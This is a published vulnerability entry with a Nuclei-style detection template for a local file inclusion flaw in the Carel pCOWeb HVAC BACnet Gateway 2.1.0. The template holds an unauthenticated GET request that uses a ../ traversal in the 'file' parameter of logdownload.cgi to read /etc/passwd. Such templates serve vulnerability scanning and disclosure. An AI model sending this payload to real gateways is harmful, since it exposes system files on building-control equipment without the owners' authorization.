Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
PoC代码[已公开]
id: carel-bacnet-gateway-traversal
info:
name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
author: gy741
severity: high
description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
reference:
- https://www.zeroscience.mk/codes/carelpco_dir.txt
- https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: carel,lfi,traversal,unauth,bacnet
http:
- method: GET
path:
- "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4a0a0047304502201e682fd563e070318f3bb0a3f43e69f0b28d35f789f92af97c4188bfc1d73bb8022100e0e959731de0fc975bd00d8752a796d642b82674d5ffacd87dff1c54c67d5ba3:922c64590222798bb761d5b6d8e72950